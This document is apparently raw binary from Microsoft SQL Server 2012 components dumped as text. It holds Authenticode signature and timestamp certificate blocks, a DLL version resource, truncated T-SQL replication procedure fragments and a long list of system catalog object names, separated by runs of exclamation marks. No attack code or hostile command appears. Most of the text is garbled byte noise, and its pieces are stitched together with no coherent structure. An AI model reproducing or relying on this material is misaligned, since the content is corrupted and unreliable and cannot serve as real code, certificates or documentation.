Corporation.|)OriginalFilenameMicrosoft.SqlServer.MpuSqlClrWrapper.dllLProductNameMicrosoft SQL Server<ProductVersion11.0.3000.0<	Assembly Version11.0.0.0@P9=0=	*H
=0=10	+0L
+7>0<0
+70	0!0	+wٍK-x|&003'80
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
120904214209Z
130304214209Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Il"e;abt)qX^W
ibn6N"ya%X,12>tW6SAiimVn&Msdqa!hX[I50Szk+!gtxa|*gٺc<N>}~H=uc )9AT8Td@7
"0# kYୟ`L
bZxvlL8G
0	0U%0
+0UQJ?óe,0U#0ҴX7.3L
0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicCodSigPCA_08-31-2010.crt0
	*H
*&zbx[ħxS(B?8d5HzOGڇLږdρ3x|mqaNds?{'4R?GCpSK*w{nF(1Ji]3<GEʋO	&n_ډZ^_|FGX+FQb_i\qV ,:Nh~;yB9I^pBułUUa00
aB0
	*H
0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0
120109222558Z
130409222558Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:F528-3777-8A761%0#UMicrosoft Time-Stamp Service0"0
	*H
0
GMT\N=CK`g/MF/@PRCz-?HnfǑnyj#bj?CbGD@T~蠧,C#R25Vcw{0
3rJ%].ǰCHGz 8!=
m3%Zb%MS%aGƀE5S#6wʰݘ+9u5݁L!=v0Ųes)H'ҰGxtKSxچa&3GƠT+,u	00U/FhnO މNGH0U#0#4RFp
@v+50TUM0K0IGEChttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X+L0J0H+0<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0U%0
+0
	*H
s}.͍+|}^qhbCV\J-hHTu8Yu4T|u0S,6@
 :1ug4WXb E/]EȎ|rm'Kom5#g,%-]C(>vw%GmIJKF!5u6L߷+پ*j5?N$c .$_CDz\7ۤE:W}GfϜFVL<~UkQe00
a3&10
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
100831221932Z
200831222932Z0y10	UUS10U
Washington10URedmond10U
Microsoft !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(=^Iv8FCorporation1#0!UMicrosoft Code Signing PCA0"0
	*H
0
rY\0d`  BvSl>ok:t/2BN#r5W
ʮ IhMKyKqG%ߝuϪsDׁ6\Eܯ=(hrsV5rv_wE8s[gRi/t)v/T0Yҍb_F1P'@0r)("7N=2=͡8\NV(*2KOc-bE=F[&SzJF7<8w\V<	_^0Z0U00UҴX7.3L
0U0	+70#	+71N&`;1o<-0	+7
SubCA0U#0`@V'%*
SY0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
	*H
Y9>&Fo@2j/nI_uL;-C-1#|P!]=/LVpyIr>Ai˥ -PV-JҼp
VชKWB4<VS#*NNҏr*qmSg"\͢'ycVDQXVݛED/_ڮԂ2ni穢,+e&	e8zJVx\5_ݓI-4D]5[!Θ	OmN=|)HrlpWW}HZϣg
t6-/r7o<gR3edoFy,
'@F`Ge`@NBNvy
4	m1TGdP.|!zA'iÓɍ؛!
\𢮆hj-vk{$jG1/q=~bGΈɸr=@ji7P=00
ah40
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0"0
	*H
0
lH*|k.řQ#PN$ѧLt0 TIB\0&k{3$g,{N#SʍE	^аBlg(FS(F.'OUR,j0nY0~֗!~SmREHJGf')fJG	UxP0F#F-TxA1w̛;a
"KT 00U00U#4RFp
@v+50U0	+70U#0`@V'%*
SY䤡ca0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate AuthorityyJLsX.e0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0U%0
+0
	*H
\D6鴭wyQM.tq[mξ{.mbWN Pz@WXx;⾏
ȍHSOjՀ/*$"px.
pNk
r9g-Qb\? ?21Jv1=+rp=

a׸N5+^}B{Sr!0ʻxe\[
<fX-/QVpl9Lyzb))4wb=m,C}㤨t5Nq#&v<RqZFCMgȟBy!0fB^Ȟ"!C+H,2L&*H$_ZVޙ:o'tv!'Tj=vanGo2lQȌ#fd=-Y!嵰cxTA.Pxuْu"/2n[%!OɚIeo}in꧗1)[\M/?.Uk1(?0(;00y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA3'80	+0	*H
	1
+70
+710
+70#	*H
	1D#<Y0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
9F06p}ױ|o
yz0g|+I
;RJ!S@8(-A ]Bqr)oPqlٲ(Aΐ
+E7JCul#"ьo'Hin}I*G+M;<
cMأ:e5i_,}=I$݌Ll
=.4|-\"/}ZUMAPrÒ*:ۘ|#ݵ.-gx䡂%0	*H
	1000w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA
aB0	+]0	*H
	1	*H
0	*H
	1
121019214857Z0#	*H
	1i&'0Bٵ(0
	*H
9|L"$os3HU`˓İGvX,)
}4\}ϷHΒ|6Q`0S\l0w[UU?ؔU,/\Bw
86b9l6 c_B1i5W#VU(x2|ӟ}LUΙX/gcיdÇsXĩ{$5/Um%0=74HJ

l (0#
+71#0#	*H
#0#10
	`He0\
+7N0L0
+70	010
	`He UiSQdYs]*
\ג
?003y
%XE0
	*H
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
120707001432Z
131007001432Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Qs/ΰ=X?,˹]::HlT~ܸ*
m;Y%N`t۴UO?;A|GKaI aD<o`N3QPٲ>Fvͫr9q'ٟCT!cnHzܝP䶃"G*D>8.0+Asp)&9L/*Z6>)P@2'c:Ӝr5Ex(kdtE@o\-,0(0U%0+
+7L0Ua??P.Cqc\BF0U#0HndPӂ77"mu0TUM0K0IGEChttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U00
	*H
Ck]dRoP(tqO'CMf`a;W~/=E3]v`yN^|#qzA"L̊WC֮3=f;vdbWC;GujHN2
Lf÷>LH92
x[+07wo\CR,Gasrc3aI_,5O}k>YڞְHa뀱F5i?r~#Cܶ	zե:ւMxK<J
DK݀/d=ͱJ&4p|
LL+E^s{B.>[
4RNq㑹sy
64,I`0 &d<BQp9JDr^B,,}ߍ^Dεblz0(@X^W/rWY4Jj`RA'MPW+`0z0b
a0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110"0
	*H
0
r.nM4X!B*kZP8I7k8™91BӉ
yd~`$lIh^ߛS
,ï٩+z	זY`fv2R&/PϳD].uhm:\F8dnd5xc-@
\yI)
w=+ZMV(zr:I^C{{>]O/Y;-3Xŷ>2ӳ=8~ҝ,NV!5%9ndS#_R!t%_('(8%9J6|#faj(I_%]!K>RĵW?$z[/#p]QFwἬ_UK9#ID|Erzr$߿FWۃMI0[ݰf{KI)(}gbx_/W\w((m(,@7OD	LԥC/tnx X,]`>O3ڰޞNFlֈ00	+70UHndPӂ77"mu0	+7
SubCA0U0U00U#0r-:1CN1#40ZUS0Q0OMKIhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0U 00	+7.00?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*H
g򆥘Ty.tg"cB}ye_.,>rm?
;Gic"5]e}FPU|K<BRаk>.)=Եw9dD=xz#}t&F*Šhh.*?*kXIc	inZF+;н5n%'(M=2-[I9

ƭQEX82q'',: iYhnot@*(>?MfMo}Ev@*e]Rbc6'ͥ]cA[>wuaaA(e/\֡FY	KH)ű?Ew5Ңzz"HG#kKux7yKֳ#hui;0Lumc=ѝVNOW"x2!zA
?̤]WqVNHEBɛv[
HkymmjRs
zP1000~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113y
%XE0
	`He0
*H
	10	*H
	1
+70
+710
+70/	*H
	1" (\H)&.;UHTl0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
w~3,"}?"^}D&|cj*E"6n5<b{-'-+vIj^d1)upPm-SvOa ط;{\y5de_iAYEgy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<D>-	%O8F{eS<bEJ2%|#/]ȉ)oA0ux6`@;	Rܑt"yP?VޚSWWb~-[њ둘Q<IAz20.
+710	*H
010
	`He0=*H
	,(0$
+Y
010
	`He ><,"{VQ9baHPd`}?20121019214858.844Z0010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service0q0Y
a	*0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0
	*H
0

w: iktTե
|hK,_av>f+[S'1A	|a0Y0D`TCM8Bݓs0W&E
GͿ$`2X`FXG2tag_TϓLĦ]an(aF'$gr!KdPb]w=WuBM@Q>gfD~Knʱz*
1N5x</Dd 	xD]^O"M00	+70Uc:\1C{|F3hZmU0	+7
SubCA0U0U00U#0Vˏ\bh=[Κ0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0U 00	+7.00=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*H
Q
?q=!o1Wm0fjxǨ%kTW+QDS`v@@A\\^5$VKtBȯ7}Z?yJR8/ye٩kzoK0D$"<Y)p2J'U/3b_W@ΙfjbJ&9Jqc{!mÜ<}jxm8ؔƥ
B"8 %d~cY%z.9Wvqa˚Gͧ};q	]t"aڰPo1:eGxHr~akow˧	9؂r*T9[
Uzs;-3.)/T'!ȬN(ۖBAM*f0ӻt2Kc{/!YD<PqסUiW0M
]O8/X.
P5	'ճ~56_tI00
a0
	*H
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
120109213540Z
130409214540Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service0"0
	*H
0
MKn!(2QE;k+z!-@ˤQ
4q	?MYh.ս *Er oHV<Ei#Q	݂w띂_7M$qpAhu#;Lޘք]Ψ'봻3-n4b^GU>ؔCucv2	Ϛ~xۺ(vvn[3݃6̭EXlhVFs*	֗_6>00Ux/zߚ!~0U#0c:\1C{|F3hZmU0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U00U%0
+0
	*H
zV$eB5-Y!Q=g	5:L?m"[;ϖSͬ4.9!<o)Mr#*
#/^ 4r:q9j
y,Fy
NZ>,٧YtŎdV/az~MNd/$2)C到G*)FtA^Ƞ'2l`l]3]Zʀv4iˮ\c
l{y0a0㡁010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service%
0	+7IHKNŵ擇e00010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher NTS ESN:B027-C6F8-1D881+0)U"Microsoft Time Source Master Clock0
	*H
+0"20121019122814Z20121020122814Z0w0=
+Y
1/0-0
+0
00
-^06
+Y
1(0&0
+Y

0`
0 0
	*H
^HL,*m .:lݢm)rмYOPڗ_OJdkȎQxK5(M!EflTo6duGS3ݺ/K;[T歃RXHsu7A$RBw΅#,svz$BZ2	EGag˔*<`'*'UXnA^4̨ko@LV89%?lQоc<5W+N:
61000|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a0
	`He)0	*H
	1
*H
	0/	*H
	1" (HFTԀk|0*H
	10007IHKNŵ擇e000~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a0FNh׀g2fFo0
	*H
7bE(nrB;7ˏ'"LWa17SV4?"=ԥgYBl
Ky >f)K@7aX؜gJzX:su@/ηE*o(ly+K&@4Yp&|v^C!-jJ*@Z6-|9Ԗ/"2S.Ɗ+{޲ɰ;c.M^[Y6Bԟȹ,?{v)I89|(jGM)59&9&00000-0000-0000-0000-000000000000'', 
            @publication_number smallint = 0, @partition_id int = 0, @mingen bigint = 0, @maxgen bigint = 0',             
            @tablenick=@tablenick, @rowguid=@rowguid, @pubid=@pubid, @publication_number=@publication_number, @partition_id=@partition_id, @mingen=@mingen, @maxgen=@maxgen            
            

        if @@error <> 0
            return 1
    end
    
    return (0)
v:v    @lineage_new94,
                        @rowguid95,
                        @metadata_type95, 
                        @generation95,
                        @lineage_old95,
                        @lineage_new95,
                        @rowguid96,
                        @metadata_type96, 
                        @generation96,
                        @lineage_old96,
                        @lineage_new96,
                        @rowguid97,
                        @metadata_type97, 
                        @generation97,
                        @lineage_old97,
                        @lineage_new97,
                        @rowguid98,
                        @metadata_type98, 
                        @generation98,
                        @lineage_old98,
                        @lineage_new98,
                        @rowguid99,
                        @metadata_type99, 
                        @generation99,
                        @lineage_old99,
                        @lineage_new99,
                        @rowguid100,
                        @metadata_type100, 
                        @generation100,
                        @lineage_old100,
                        @lineage_new100
    
    if @@error<>0 and @retcode=1
        return 0

    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
4`<(?3v7@

ײ?#9393939_B+E;B@?@f<VrWzW0D9	i		'
^


~@


Td#3xAD{$5-TR-T'lf	Jw2Z3 t  !=!|!!""a"""4#y###$h$$*%%%&p&&'E'''(_(((4)u)))B***+t++,[,,,(-[---B...)/f// 0m001\111G222*3Y3334k444N555-6l666'7f77798r889[99:4:_::::;N;q;;;<-<0??c_dm_pdw_component_health_active_alerts0? A?C_dm_pdw_online_backups0?pA?;_pdw_distributions0?A?3assembly_files0?0A?Savailability_replicas_internal0?@A颋?]column_xml_schema_collection_usages0?0Ǎ?Econversation_priorities0?@?Mdatabase_filestream_options0? A?SDF__spt_value__statu__0EA330E90? A?9dm_clr_properties0?PA?Wdm_db_mirroring_auto_page_repair0?@?dm_db_objects_disabled_on_compatibility_level_change0? A??dm_exec_cached_plans0?@A?7dm_exec_requests0?A?3dm_fts_fdhosts0?A?Gdm_fts_population_ranges0?A?Gdm_hadr_cluster_networks0? A?_dm_hadr_internal_wsfc_ag_db_replicas0?`A?Idm_logpoolmgr_respoolsize0?0A?Kdm_os_memory_broker_clerks0?pA?mdm_os_server_diagnostics_log_configurations0?0A?;dm_os_windows_info0?0A?;dm_pdw_node_status0?pA?Kdm_pdw_nodes_exec_requests0?0A?Sdm_pdw_nodes_os_memory_brokers0?A?Kdm_pdw_nodes_os_wait_stats0?0A?Adm_pdw_online_backups0?@?5dm_pdw_sys_info0?pA?Kdm_sql_referenced_entities0?0A?Qdm_tran_transactions_snapshot0?0A?%DOMAINS0?0A?Ofiletable_updates_21050585350?@?Sfn_cdc_capture_instance_exists0?pA?5fn_cdc_get_role0?0A?7fn_cdc_job_entry0?pA?_fn_escapecmdshellsymbolsremovequotes0?0A?9fn_get_audit_file0?@?5fn_getvalidname0?0A?Cfn_IHpublished_columns0?@?Efn_listextendedproperty0?pA?Sfn_MSrepl_is_workgroup_edition0?@?;fn_MSsharedversion0?pA?;fn_remote_catalogs0?@??fn_remote_statistics0?pA?Afn_replencryptversion0?0A?fn_replgetNumOfWarningsMergesubscriptionsOnPublication0?pA?7fn_replquotename0?0A?9fn_RowDumpCracker0?@?Afn_trace_geteventinfo0?pA?/foreign_keys0?@?sfulltext_semantic_language_statistics_database0?pA?MGeometryCollectionAggregate0?0A?5internal_tables0?@?imessage_type_xml_schema_collection_usages0@PA?+PARAMETERS0?0A?9pdw_distributions0?pA?OQueryNotificationErrorsQueue0?0A?Yresource_governor_workload_groups0@ A?)SEQUENCES0?0A?1server_events0?0A?Eservice_contract_usages0?@?'services0?A??sp_adddistributiondb0?pA?Osp_addpushsubscription_agent0?@?=sp_addsrvrolemember0?pA?3sp_articleview0?pA?-sp_bindrule0?@?Csp_catalogs_rowset_rmt0?pA?ksp_cdc_create_change_enumeration_functions0?pA?Wsp_cdc_drop_change_table_objects0?pA?}sp_cdc_grant_select_on_change_enumeration_functions0?pA?Ssp_cdc_verify_capture_instance0?pA?7sp_changedbowner0?@??sp_changepublication0?pA?]sp_check_log_shipping_monitor_alert0?pA?Esp_column_privileges_ex0?@?1sp_columns_900?pA?Usp_control_dbmasterkey_password0?pA?)sp_cursor0?pA?Ksp_db_increased_partitions0?pA?=sp_ddl_comprelation0?pA?+sp_depends0?@?;sp_distagentstatus0?pA?Asp_droplinkedsrvlogin0?pA?-sp_droptype0?pA?1sp_executesql0?pA?;sp_fulltext_column0?pA?!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(@3XDv7Osp_fulltext_thesaurus_update0?pA?Usp_getqueuedarticlesynctraninfo0?@?Msp_grant_publication_access0?pA?Asp_help_agent_profile0?@?Esp_help_fulltext_tables0?pA?[sp_help_spatial_geometry_histogram0?pA?;sp_helpdistributor0?pA?Csp_helppublicationsync0?pA?Asp_helpsubscriberinfo0?pA?Asp_IH_LR_GetCacheData0?pA?Msp_IHget_loopback_detection0?pA?;sp_IHscriptindexes0?pA??sp_indexes_90_rowset0?pA?7sp_linkedservers0?pA?osp_MSacquireserverresourcefordynamicsnapshot0?pA??sp_MSadd_merge_agent0?@?Gsp_MSadd_qreader_history0?pA?Esp_MSadd_tracer_history0?@?Gsp_MSaddoffloadparameter0?pA?Esp_MSarticle_validation0?pA?Esp_MScdc_tranrepl_check0?pA?esp_MSchangedynsnaplocationatdistributor0?0A?Esp_MScheck_subscription0?0A?Ysp_MScleandbobjectsforreplication0?0A?isp_MSclearresetpartialsnapshotprogressbit0?0A?_sp_MScreate_replication_status_table0?0A?Ksp_MSdeletepeerconflictrow0?0A?Isp_MSdistributoravailable0?0A?Ssp_MSdrop_distribution_agentid0?0A?Msp_MSdrop_peertopeer_tables0?0A?Isp_MSdrop_subscriber_info0?0A??sp_MSdroptranpalrole0?0A?Csp_MSenum_logreader_sd0?0A?Osp_MSenum_replication_agents0?0A?7sp_MSenumcolumns0?0A?Qsp_MSfetchAdjustidentityrange0?0A?Usp_MSfixupsharedagentproperties0?0A?Asp_MSget_col_position0?0A??sp_MSget_new_errorid0?0A?Asp_MSget_shared_agent0?0A?Isp_MSgetFixPALRoleAppLock0?0A?7sp_MSgetreplnick0?0A?Msp_MShelp_identity_property0?0A?Wsp_MShelp_subscriberside_history0?0A?Msp_MShelptranconflictcounts0?0A?3sp_MSis_pk_col0?0A?[sp_MSisqueuereaderjobnamegenerated0?0A?Qsp_MSmakeconflicttable_sqlclr0?0A??sp_MSmerge_alterview0?0A?Wsp_MSmerge_subscriptions_upgrade0?0A?7sp_MSpad_command0?0A?=sp_MSpost_auto_proc0?0A?Ysp_MSproxylogshippingmonitorerror0?0A?3sp_MSpublishdb0?0A?Isp_MSregistersubscription0?pA?Ksp_MSrepl_adddistpublisher0?pA?Ssp_MSrepl_browsesnapshotfolder0?pA?Csp_MSrepl_copysnapshot0?pA?Ksp_MSrepl_dropsubscription0?pA?Ysp_MSrepl_getOraclepackageversion0?pA?=sp_MSrepl_isdbowner0?pA?isp_MSrepl_refresh_heterogeneous_publisher0?pA?Qsp_MSrepl_subscriptionsummary0?pA?Msp_MSreplcheckoffloadserver0?pA?Asp_MSreplupdateschema0?pA?qsp_MSrestoresavedforeignkeyextendedproperties0?pA?=sp_MSscript_endtrig0?pA?Isp_MSscript_sync_upd_proc0?pA?Usp_MSscriptcustominsproc_sqlclr0?A?Msp_MSsku_allows_replication0?pA?Isp_MStable_not_modifiable0?pA?Qsp_MSupdate_agenttype_default0?pA?Isp_MSUpgradeConflictTable0?pA?/sp_oledbinfo0?pA?Esp_ORAGetTablespaceInfo0?pA?-sp_ORbitmap0?pA?Ssp_procedure_params_100_rowset0?pA?Msp_provider_types_90_rowset0?pA?Osp_register_custom_scripting0?pA?5sp_replcounters0?pA?_sp_replmonitorhelpmergesessiondetail0?pA?=sp_replqueuemonitor0?pA?Ksp_requestpeertopologyinfo0?pA?Wsp_rollback_parallel_nested_tran0?pA??sp_scriptinsproccore0?pA?9sp_scriptxupdproc0?pA?Csp_setreplfailovermode0?pA??sp_srvrolepermission0?pA??sp_stored_procedures0?pA?Ksp_table_statistics_rowset0?pA?Msp_tables_info_90_rowset_640?pA?;sp_trace_setfilter0?pA?9sp_user_counter100?pA?Wsp_validatemergepullsubscription0?pA?Esp_vupgrade_replication0?pA?Mspatial_index_tessellations0?pA??spt_indexes_view_1000?pA?ispt_sproc_columns_return_values_odbc_view0?pA?1stats_columns0?pA?+sysclsobjs0?pA?5syscursortables0?pA?#sysfos0?A?/sysprocesses0?pA?3sysseobjvalues0?pA?5systypedsubobjs0@pA?#TABLES0?pA?!types0?pA$?7xml_schema_types0?A?7xp_mergelineages0?A?-xp_userlock0??9xp_varbintohexstr((_dm_pdw_component_health_active_alertssys_infopdw_table_mappingsavailability_read_only_routing_listscompu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<AKZ=AhH>I8^J}KLpMN@OP:QxYRxSHTUVWXP5YTZ t[\]X^_B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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UMicrosoft Code Signing PCA 20110"0
	*H
0
r.nM4X!B*kZP8I7k8™91BӉ
yd~`$lIh^ߛS
,ï٩+z	זY`fv2R&/PϳD].uhm:\F8dnd5xc-@
\yI)
w=+ZMV(zr:I^C{{>]O/Y;-3Xŷ>2ӳ=8~ҝ,NV!5%9ndS#_R!t%_('(8%9J6|#faj(I_%]!K>RĵW?$z[/#p]QFwἬ_UK9#ID|Erzr$߿FWۃMI0[ݰf{KI)(}gbx_/W\w((m(,@7OD	LԥC/tnx X,]`>O3ڰޞNFlֈ00	+70UHndPӂ77"mu0	+7
SubCA0U0U00U#0r-:1CN1#40ZUS0Q0OMKIhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0U 00	+7.00?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*H
g򆥘Ty.tg"cB}ye_.,>rm?
;Gic"5]e}FPU|K<BRаk>.)=Եw9dD=xz#}t&F*Šhh.*?*kXIc	inZF+;н5n%'(M=2-[I9

ƭQEX82q'',: iYhnot@*(>?MfMo}Ev@*e]Rbc6'ͥ]cA[>wuaaA(e/\֡FY	KH)ű?Ew5Ңzz"HG#kKux7yKֳ#hui;0Lumc=ѝVNOW"x2!zA
?̤]WqVNHEBɛv[
HkymmjRs
zP1000~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113y
%XE0
	`He0
*H
	10	*H
	1
+70
+710
+70/	*H
	1" 7^$WwM}ͯ</*RMzR0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
$
vgTNl[sM\aml/Ǵf~%E+C+UUdtkݥ4F?a\n"ctޜ[n5eNW\KSE#|])˴oC! ჽFtx;S/*UI)J_@h܀YrNU9<uhi*9()NI7ZW:s~٨SSM@ 0~ZƼ20.
+710	*H
010
	`He0=*H
	,(0$
+Y
010
	`He z06}MtDSJ
мeBPd`Y20121019214858.839Z0010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:F528-3777-8A761%0#UMicrosoft Time-Stamp Service0q0Y
a	*0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0
	*H
0

w: iktTե
|hK,_av>f+[S'1A	|a0Y0D`TCM8Bݓs0W&E
GͿ$`2X`FXG2tag_TϓLĦ]an(aF'$gr!KdPb]w=WuBM@Q>gfD~Knʱz*
1N5x</Dd 	xD]^O"M00	+70Uc:\1C{|F3hZmU0	+7
SubCA0U0U00U#0Vˏ\bh=[Κ0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0U 00	+7.00=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*H
Q
?q=!o1Wm0fjxǨ%kTW+QDS`v@@A\\^5$VKtBȯ7}Z?yJR8/ye٩kzoK0D$"<Y)p2J'U/3b_W@ΙfjbJ&9Jqc{!mÜ<}jxm8ؔƥ
B"8 %d~cY%z.9Wvqa˚Gͧ};q	]t"aڰPo1:eGxHr~akow˧	9؂r*T9[
Uzs;-3.)/T'!ȬN(ۖBAM*f0ӻt2Kc{/!YD<PqסUiW0M
]O8/X.
